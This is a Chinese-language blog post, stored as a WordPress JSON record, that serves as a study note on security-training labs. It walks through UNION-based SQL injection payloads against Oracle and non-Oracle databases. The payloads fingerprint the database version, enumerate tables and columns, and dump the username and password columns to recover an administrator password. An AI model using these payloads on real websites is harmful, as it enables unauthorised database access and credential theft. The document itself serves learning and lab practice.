{"id":1232,"date":"2023-02-16T10:28:00","date_gmt":"2023-02-16T02:28:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1232"},"modified":"2024-02-17T20:19:25","modified_gmt":"2024-02-17T12:19:25","slug":"sqli-for-examining-the-db","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1232","title":{"rendered":"SQLi for Examining the DB"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>\u70ba\u4e86\u5229\u7528 SQL \u6ce8\u5165\u6f0f\u6d1e\uff0c\u901a\u5e38\u9700\u8981\u5c0b\u627e\u6709\u95dc\u8cc7\u6599\u5eab\u7684\u8cc7\u8a0a\uff0c\u50cf\u662f\u6578\u64da\u5eab\u985e\u578b\u8207\u7248\u672c\uff0c\u4ee5\u53ca\u8cc7\u6599\u8868\u4fe1\u606f<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u53d6\u5f97\u6578\u64da\u5eab\u985e\u578b<\/h2>\n\n\n\n<p>\u5404\u6578\u64da\u5eab\u67e5\u8a62\u7248\u672c\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><th>Oracle<\/th><td><code>SELECT banner FROM v$version<br>SELECT version FROM v$instance<\/code><\/td><\/tr><tr><th>Microsoft \/ MySQL<\/th><td><code>SELECT @@version<\/code><\/td><\/tr><tr><th>PostgreSQL<\/th><td><code>SELECT version()<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u8209\u4f8b\u4f86\u8aaa\uff0c\u5982\u679c\u767c\u73fe\u6709\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u53ef\u7528\u4ee5\u4e0bsql\u6e2c\u8a66\u6578\u64da\u5eab\u662f\u5426\u70baoracle\u4ee5\u53ca\u5176\u7248\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+BANNER,+NULL+FROM+v$version--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u4e5f\u53ef\u7528\u4ee5\u4e0bsql\u6e2c\u8a66\u6578\u64da\u5eab\u662f\u5426\u70bamysql\u6216microsoft\u53ca\u5176\u7248\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+@@version,+NULL#<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>Lab: <br>SQL injection attack, querying the database type and version on Oracle<br>SQL injection attack, querying the database type and version on MySQL and Microsoft<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u53d6\u5f97\u8cc7\u6599\u8868\u4fe1\u606f<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">non-oracle<\/h3>\n\n\n\n<p>\u5305\u542b\u50cf\u662f\uff2dicrosoft SQL Server\uff0cPostgreSQL\uff0cMySQL\uff0c\u5e38\u7528\u8a9e\u6cd5\u5982\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>SELECT * FROM information_schema.tables<\/code><\/li>\n\n\n\n<li><code>SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'<\/code><\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5047\u8a2d\u76ee\u6a19\u7db2\u7ad9\u975eOracle\uff0c\u53ef\u7528\u53c3\u8003\u4ee5\u4e0b\u65b9\u5f0f\u53d6\u5f97\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<p>\u4f7f\u7528\u4ee5\u4e0b\u6e2c\u8a66\u6642\u767c\u73fecategory\u53c3\u6578sqli\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u6aa2\u6e2c\u6709\u5e7e\u500b\u6b04\u4f4d\u53ef\u986f\u793a\uff0c\u4ee5\u4e0b\u7d50\u679c\u78ba\u8a8d2\u500b\u4e0d\u5831\u932f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+union+select+null,null--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u6aa2\u6e2c\u90a3\u4e9b\u6b04\u4f4d\u6709\u6578\u64da\uff0c\u4ee5\u4e0b\u7d50\u679c\u78ba\u8a8d2\u500b\u6b04\u4f4d\u90fd\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+'abc','def'--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u7528\u4ee5\u4e0b\u8a9e\u6cd5\u627e\u51fa\u6240\u6709table<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u5167\u5bb9\u767c\u73feusers_icgasr\uff0c\u7528\u4ee5\u4e0b\u8a9e\u6cd5\u627e\u8a72\u8868\u6b04\u4f4d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=%27users_icgasr%27--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u5167\u5bb9\u767c\u73feusername_usnobp\u548cpassword_bdwaxs\u6b04\u4f4d\uff0c\u7528\u4ee5\u4e0b\u8a9e\u6cd5\u627e\u8a72\u6b04\u4f4d\u4fe1\u606f\u4ee5\u53d6\u5f97\u5e33\u6236\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+username_usnobp,password_bdwaxs+FROM+users_icgasr--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u5167\u5bb9\u53ef\u4ee5\u627e\u5230administrator\u7684\u5bc6\u78bc<\/p>\n\n\n\n<p>Lab: SQL injection attack, listing the database contents on non-Oracle databases<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">oracle<\/h3>\n\n\n\n<p>\u5e38\u7528\u8a9e\u6cd5\u5982\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>SELECT * FROM all_tables<\/code><\/li>\n\n\n\n<li><code>SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'<\/code><\/li>\n<\/ul>\n\n\n\n<p>\u5047\u8a2d\u76ee\u6a19\u7db2\u7ad9\u70baOracle\uff0c\u53ef\u7528\u53c3\u8003\u4ee5\u4e0b\u65b9\u5f0f\u53d6\u5f97\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<p>\u6e2c\u8a66\u6642\u767c\u73fecategory\u53c3\u6578sqli\u6f0f\u6d1e\u5f8c\uff0c\u6aa2\u6e2c\u6709\u5e7e\u500b\u6b04\u4f4d\u53ef\u986f\u793a\uff0c\u767c\u73fe2\u500b\u4e0d\u5831\u932f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+union+select+null,null<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">+FROM+dual<\/mark>--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u6aa2\u6e2c\u54ea\u4e9b\u6b04\u4f4d\u6709\u6578\u64da\uff0c\u767c\u73fe2\u500b\u6b04\u4f4d\u90fd\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+'abc','def'+FROM+dual--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u627e\u51fa\u6240\u6709table<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+table_name,NULL+FROM+all_tables--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u767c\u73feUSERS_VNPRUT\uff0c\u627e\u8a72\u8868\u6b04\u4f4d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name=%27USERS_VNPRUT%27--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u767c\u73feUSERNAME_HLFULL\u548cPASSWORD_GWJJKC\u6b04\u4f4d\uff0c\u627e\u8a72\u6b04\u4f4d\u4fe1\u606f\u4ee5\u53d6\u5f97\u5e33\u6236\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/filter?category=Accessories<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">'+UNION+SELECT+USERNAME_HLFULL,PASSWORD_GWJJKC+FROM+USERS_VNPRUT--<\/mark> HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u7d50\u679c\u53ef\u4ee5\u627e\u5230administrator\u7684\u5bc6\u78bc<\/p>\n\n\n\n<p>Lab: SQL injection attack, listing the database contents on Oracle<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u70ba\u4e86\u5229\u7528 SQL \u6ce8\u5165\u6f0f\u6d1e\uff0c\u901a\u5e38\u9700\u8981\u5c0b\u627e\u6709\u95dc\u8cc7\u6599\u5eab\u7684\u8cc7\u8a0a\uff0c\u50cf &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1232","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1232"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1232\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}